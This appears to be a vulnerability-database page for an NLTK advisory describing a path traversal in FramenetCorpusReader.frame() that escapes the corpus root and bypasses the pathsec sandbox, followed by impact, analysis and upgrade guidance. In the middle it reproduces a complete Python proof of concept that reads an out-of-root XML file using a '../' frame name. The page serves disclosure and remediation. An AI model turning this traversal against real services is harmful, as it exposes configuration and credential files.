NLTK CVE-2026-12074
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N and PR:N reflect library-level assessment at worst-case web-service deployment; C:H for arbitrary XML file read; no integrity or availability impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3Blast Radius
ecosystem impact- 7 pypi packages depend on nltk (6 direct, 1 indirect)
Ecosystem-wide dependent count for version 3.10.0.
DescriptionGitHub Advisory
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox - including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()- uses the index entryfilenamefield- the lexical-unit file loader - uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read - silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
Articles & Coverage 1
AnalysisAI
Path traversal in NLTK's FramenetCorpusReader (versions ≤3.9.4) allows a caller-supplied frame name containing ../ sequences to escape the corpus root and read arbitrary XML files accessible to the process, silently bypassing the nltk.pathsec sandbox even when ENFORCE=True is explicitly enabled. Any web service or pipeline that routes user-controlled input into FramenetCorpusReader.frame() is directly exposed, with full parsed content of frame-shaped XML files returned to the caller and a file-existence oracle for all other XML paths. A working proof-of-concept is publicly available in the GitHub security advisory; the vulnerability is not listed in CISA KEV at time of analysis.
Technical ContextAI
The affected component is nltk.corpus.reader.framenet.FramenetCorpusReader in the pip/nltk package (CPE: pkg:pip/nltk), versions up to and including 3.9.4. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). Internally, frame_by_name() constructs a filesystem path by concatenating the corpus root, the frame subdirectory, and the caller-supplied name with a fixed .xml extension, then passes this concatenated string directly to XMLCorpusView - bypassing CorpusReader.open() and the PathPointer abstraction entirely. Because nltk.pathsec.validate_path() is only invoked from CorpusReader.open(), it is never called on string-path XML reads, rendering the pathsec sandbox - including ENFORCE=True mode, which NLTK's SECURITY.md advertises as a hard boundary for web apps and multi-tenant pipelines - completely ineffective for this code path. The same bypass pattern exists in the sibling doc() method (uses the corpus index filename field) and the lexical-unit file loader (uses the lexUnit ID attribute), both reachable through a malicious or attacker-modified FrameNet corpus data directory.
RemediationAI
Upgrade NLTK to version 3.10.0 or later, which introduces _reject_unsafe_path_component() to validate path components and raise FramenetError before any file read occurs, as confirmed by the PoC catching that exception in patched builds. The GitHub security advisory is at https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw. If immediate upgrade is not possible, the most effective compensating control is to validate caller-supplied frame names at the application boundary using an allowlist of known-good frame names before passing them to frame() - this eliminates the traversal vector with no side effects. As a defense-in-depth measure, restrict the process user's filesystem read permissions so files outside the corpus root directory are not accessible, which limits blast radius but does not eliminate the file-existence oracle behavior. Critical note: setting nltk.pathsec.ENFORCE=True does NOT mitigate this vulnerability and must not be relied upon as a compensating control for this specific code path - the bypass is confirmed by design.
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Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Package Hub 15 SP7 | Fixed |
| SUSE Package Hub 15 SP7 | Affected |
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External POC / Exploit Code
Leaving vuln.today
GHSA-xh95-f55m-82fw